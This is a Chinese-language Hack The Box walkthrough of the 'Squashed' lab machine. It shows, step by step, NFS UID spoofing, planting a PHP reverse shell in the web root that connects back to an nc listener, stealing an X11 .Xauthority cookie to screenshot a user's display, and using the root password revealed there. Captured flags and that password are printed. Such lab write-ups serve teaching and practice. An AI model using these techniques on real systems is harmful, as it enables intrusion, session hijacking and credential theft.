目录
连接至HTB服务器并启动靶机
使用rustscan对靶机TCP端口进行开放扫描
使用nmap对靶机开放端口进行脚本、服务扫描
使用浏览器访问靶机80端口页面
使用showmount列出靶机上的NFS共享
新建一个test用户
使用Kali自带的PHP_REVERSE_SHELL并复制到一号挂载点
尝试使用curl直接访问该文件以获取反弹shell
USER_FLAG:e9fe2fd732daac4d51f58de5739109ee
特权提升
ROOT_FLAG:94844ffb8c66ad08cff2878a24f9b393
连接至HTB服务器并启动靶机
靶机IP:10.10.11.191
分配IP:10.10.16.7
使用rustscan对靶机TCP端口进行开放扫描
靶机开放端口:22,80,111,2049,35435,37449,37537,38139
使用nmap对靶机开放端口进行脚本、服务扫描
nmap -p22,80,111,2049,35435,37449,37537,38139 -sCV 10.10.11.191
使用浏览器访问靶机80端口页面
经过ffuf、dirbuster大量的路径扫描,我几乎可以断定这是个纯静态的Web
尝试从其他端口下手,我注意到2049端口托管的NFS服务经过百度知道它是无需认证的
使用showmount列出靶机上的NFS共享
showmount -e 10.10.11.191
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross *
/var/www/html *
本机进入/mnt目录下并新建两个目录
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cd /mnt
┌──(root㉿kali)-[/mnt]
└─# mkdir 1 2
┌──(root㉿kali)-[/mnt]
└─# ls
1 2
将靶机上的两个共享分别挂载到本地
mount -t nfs 10.10.11.191:/var/www/html /mnt/1
mount -t nfs 10.10.11.191:/home/ross /mnt/2
┌──(root㉿kali)-[/mnt]
└─# mount -t nfs 10.10.11.191:/var/www/html /mnt/1
┌──(root㉿kali)-[/mnt]
└─# mount -t nfs 10.10.11.191:/home/ross /mnt/2
查看一号挂载点权限
ls -al 1
┌──(root㉿kali)-[/mnt]
└─# ls -al 1
ls: 无法访问 '1/.': 权限不够
ls: 无法访问 '1/..': 权限不够
ls: 无法访问 '1/.htaccess': 权限不够
ls: 无法访问 '1/index.html': 权限不够
ls: 无法访问 '1/images': 权限不够
ls: 无法访问 '1/css': 权限不够
ls: 无法访问 '1/js': 权限不够
总计 0
d????????? ? ? ? ? ? .
d????????? ? ? ? ? ? ..
?????????? ? ? ? ? ? css
?????????? ? ? ? ? ? .htaccess
?????????? ? ? ? ? ? images
?????????? ? ? ? ? ? index.html
?????????? ? ? ? ? ? js
查看二号挂载点权限
ls -al 2
查看一号挂载点所属用户ID与组
ls -ld 1
┌──(root㉿kali)-[/mnt]
└─# ls -ld 1
drwxr-xr-- 5 2017 www-data 4096 11月15日 03:20 1
查看二号挂载点所属用户ID与组
ls -ld 2
┌──(root㉿kali)-[/mnt]
└─# ls -ld 2
drwxr-xr-x 14 1001 1001 4096 11月14日 19:30 2
因为NFS完全没有任何身份验证过程,所以我们直接伪造一个ID为2017的用户即可通行一号挂载点
新建一个test用户
useradd test
将test用户ID修改为2017
usermod -u 2017 test
将test用户组ID修改为2017
groupmod -g 2017 test
查看/etc/passwd看用户是否成功添加
cat /etc/passwd
切换到test用户并查看挂载点1文件权限分配情况
su test
┌──(root㉿kali)-[/mnt]
└─# su test
$ whoami
test
ls -al /mnt/1
$ ls
1 2
$ ls -al /mnt/1
总计 56
drwxr-xr-- 5 test www-data 4096 11月15日 03:35 .
drwxr-xr-x 4 root root 4096 11月15日 03:16 ..
drwxr-xr-x 2 test www-data 4096 11月15日 03:35 css
-rw-r--r-- 1 test www-data 44 2022年10月21日 .htaccess
drwxr-xr-x 2 test www-data 4096 11月15日 03:35 images
-rw-r----- 1 test www-data 32532 11月15日 03:35 index.html
drwxr-xr-x 2 test www-data 4096 11月15日 03:35 js
使用Kali自带的PHP_REVERSE_SHELL并复制到一号挂载点
$ ls /tmp
php-reverse-shell.php(我这里提前将Webshell拷贝到了/tmp目录下)
snap-private-tmp
systemd-private-1ae1219c28e04757bc3654c13141c455-haveged.service-bngsxp
systemd-private-1ae1219c28e04757bc3654c13141c455-ModemManager.service-kCmvAH
systemd-private-1ae1219c28e04757bc3654c13141c455-polkit.service-YiWHD2
systemd-private-1ae1219c28e04757bc3654c13141c455-systemd-logind.service-NRolyk
VMwareDnD
vmware-root_692-2696942994$ cp /tmp/php-reverse-shell.php .
$ ls
css images index.html js php-reverse-shell.php
$ pwd
/mnt/1
本地侧nc开始监听
nc -lvp 1425
尝试使用curl直接访问该文件以获取反弹shell
curl http://10.10.11.191/php-reverse-shell.php
本地侧nc收到回显
┌──(root㉿kali)-[/tmp]
└─# nc -lvp 1425
listening on [any] 1425 ...
10.10.11.191: inverse host lookup failed: Unknown host
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.191] 51582
Linux squashed.htb 5.4.0-131-generic #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
08:39:47 up 8:09, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ross tty7 :0 00:30 8:09m 23.58s 0.01s /usr/libexec/gnome-session-binary --systemd --session=gnome
uid=2017(alex) gid=2017(alex) groups=2017(alex)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
alex
查找user_flag并查看其内容
$ find / -name 'user.txt' 2>/dev/null
/home/alex/user.txt
$ cat /home/alex/user.txt
e9fe2fd732daac4d51f58de5739109ee
USER_FLAG:e9fe2fd732daac4d51f58de5739109ee
特权提升
提升TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
查看/etc/exports文件内容
cat /etc/exports
这里显示/home/ross所有用户可访问,我尝试直接用当前用户读取相关文件却提示权限不足
cd /home/ross
alex@squashed:/$ cd /home/ross
cd /home/ross
alex@squashed:/home/ross$ ls
ls
Desktop Documents Downloads Music Pictures Public Templates Videos
列出所有文件及其权限
ls -al
这里的Xauthority是X协议认证相关文件
alex@squashed:/home/ross$ ls -al
ls -al
total 68
drwxr-xr-x 14 ross ross 4096 Nov 15 00:30 .
drwxr-xr-x 4 root root 4096 Oct 21 2022 ..
-rw------- 1 ross ross 57 Nov 15 00:30 .Xauthority
lrwxrwxrwx 1 root root 9 Oct 20 2022 .bash_history -> /dev/null
drwx------ 11 ross ross 4096 Oct 21 2022 .cache
drwx------ 12 ross ross 4096 Oct 21 2022 .config
drwx------ 3 ross ross 4096 Oct 21 2022 .gnupg
drwx------ 3 ross ross 4096 Oct 21 2022 .local
lrwxrwxrwx 1 root root 9 Oct 21 2022 .viminfo -> /dev/null
-rw------- 1 ross ross 2475 Nov 15 00:30 .xsession-errors
-rw------- 1 ross ross 2475 Dec 27 2022 .xsession-errors.old
drwxr-xr-x 2 ross ross 4096 Oct 21 2022 Desktop
drwxr-xr-x 2 ross ross 4096 Oct 21 2022 Documents
drwxr-xr-x 2 ross ross 4096 Oct 21 2022 Downloads
drwxr-xr-x 2 ross ross 4096 Oct 21 2022 Music
drwxr-xr-x 2 ross ross 4096 Oct 21 2022 Pictures
drwxr-xr-x 2 ross ross 4096 Oct 21 2022 Public
drwxr-xr-x 2 ross ross 4096 Oct 21 2022 Templates
drwxr-xr-x 2 ross ross 4096 Oct 21 2022 Videos
alex@squashed:/home/ross$ cat .Xauthority
cat .Xauthority
cat: .Xauthority: Permission denied
如法炮制弄一个test2用户,将UID、GID设置成1001
┌──(root㉿kali)-[/mnt/1]
└─# useradd test2
┌──(root㉿kali)-[/mnt/1]
└─# usermod -u 1001 test2
┌──(root㉿kali)-[/mnt/1]
└─# groupmod -g 1001 test2
切换到test2用户,并访问二号挂载点
su test2 && cd /mnt/2
$ ls -al
总计 68
drwxr-xr-x 14 test2 test2 4096 11月14日 19:30 .
drwxr-xr-x 4 root root 4096 11月15日 03:16 ..
lrwxrwxrwx 1 root root 9 2022年10月20日 .bash_history -> /dev/null
drwx------ 11 test2 test2 4096 2022年10月21日 .cache
drwx------ 12 test2 test2 4096 2022年10月21日 .config
drwxr-xr-x 2 test2 test2 4096 2022年10月21日 Desktop
drwxr-xr-x 2 test2 test2 4096 2022年10月21日 Documents
drwxr-xr-x 2 test2 test2 4096 2022年10月21日 Downloads
drwx------ 3 test2 test2 4096 2022年10月21日 .gnupg
drwx------ 3 test2 test2 4096 2022年10月21日 .local
drwxr-xr-x 2 test2 test2 4096 2022年10月21日 Music
drwxr-xr-x 2 test2 test2 4096 2022年10月21日 Pictures
drwxr-xr-x 2 test2 test2 4096 2022年10月21日 Public
drwxr-xr-x 2 test2 test2 4096 2022年10月21日 Templates
drwxr-xr-x 2 test2 test2 4096 2022年10月21日 Videos
lrwxrwxrwx 1 root root 9 2022年10月21日 .viminfo -> /dev/null
-rw------- 1 test2 test2 57 11月14日 19:30 .Xauthority
-rw------- 1 test2 test2 2475 11月14日 19:30 .xsession-errors
-rw------- 1 test2 test2 2475 2022年12月27日 .xsession-errors.old
尝试直接用cat读取.Xauthority文件内容会出现乱码,将其进行一次BASE64编码
$ cat .Xauthority
squashed.htb0MIT-MAGIC-COOKIE-1�e��~b�K��>���$
$ cat .Xauthority | base64
AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABDcZejrBX5ixku3F/k+iZz2
AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABDcZejrBX5ixku3F/k+iZz2
将该文件还原到靶机/tmp目录下
cd /tmp && echo 'AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABDcZejrBX5ixku3F/k+iZz2' | base64 -d > .Xauthorit
alex@squashed:/tmp$ ls -al
ls -al
total 12
drwxrwxrwt 2 root root 4096 Nov 15 12:56 .
drwxr-xr-x 20 root root 4096 Oct 21 2022 ..
-rw-rw-rw- 1 alex alex 57 Nov 15 12:56 .Xauthorit
首先读取靶机系统内XAUTHORITY环境变量配置
echo $XAUTHORITY
alex@squashed:/tmp$ echo $XAUTHORITY
echo $XAUTHORITY
发现毛都没写,那我们直接往里写入.Xauthorit文件路径即可
realpath .Xauthorit
alex@squashed:/tmp$ ls -al
ls -al
total 12
drwxrwxrwt 2 root root 4096 Nov 15 12:56 .
drwxr-xr-x 20 root root 4096 Oct 21 2022 ..
-rw-rw-rw- 1 alex alex 57 Nov 15 12:56 .Xauthorit
alex@squashed:/tmp$ realpath .Xauthorit
realpath .Xauthorit
/tmp/.Xauthorit
于此同时,执行w命令可见当前系统中ross用户登陆中并且使用的是0号显示器
w
通过临时地将.Xauthority添加到XAUTHORITY环境变量中并截取ross用户屏幕
(感觉这题纯属抖机灵,谁没事屏幕上一直放着root密码?)
XAUTHORITY=/tmp/.Xauthority xwd -root -screen -silent -display :0 > /tmp/res.xwd
alex@squashed:/tmp$ XAUTHORITY=/tmp/.Xauthority xwd -root -screen -silent -display :0 > /tmp/res.xwd
<wd -root -screen -silent -display :0 > /tmp/res.xwd
alex@squashed:/tmp$ ls -al
ls -al
total 1892
drwxrwxrwt 2 root root 4096 Nov 15 13:20 .
drwxr-xr-x 20 root root 4096 Oct 21 2022 ..
-rw-rw-rw- 1 alex alex 57 Nov 15 13:19 .Xauthority
-rw-rw-rw- 1 alex alex 1923179 Nov 15 13:20 res.xwd
靶机中通过python3开启一个http服务
python3 -m http.server 6666
攻击机将res.xwd文件下载到本地
wget http://10.10.11.191:6666/res.xwd -O res.xwd
将res.xwd格式转换为png
convert res.xwd res.png
直接打开该png文件获得密码:cah$mei7rai9A
我尝试使用上述密码登录到:root、ross用户均失败了不知什么原因
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sshpass -p 'cah$mei7rai9A' ssh root@10.10.11.191
Permission denied, please try again.
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sshpass -p 'cah$mei7rai9A' ssh ross@10.10.11.191
Permission denied, please try again.
直接在靶机alex用户中尝试切换到root用户
su root
alex@squashed:/$ su root
su root
Password: cah$mei7rai9Aroot@squashed:/# whoami
whoami
root
查找root_flag位置并查看其内容
root@squashed:/# find / -name 'root.txt'
find / -name 'root.txt'
/root/root.txt
root@squashed:/# cat /root/root.txt
cat /root/root.txt
94844ffb8c66ad08cff2878a24f9b393